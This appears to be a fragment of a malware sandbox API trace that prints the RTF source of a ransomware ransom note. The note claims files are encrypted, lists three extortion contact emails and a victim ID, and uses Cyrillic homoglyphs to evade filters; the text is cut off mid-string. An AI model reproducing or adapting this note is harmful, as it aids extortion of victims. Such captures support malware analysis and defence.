INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0040.493] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 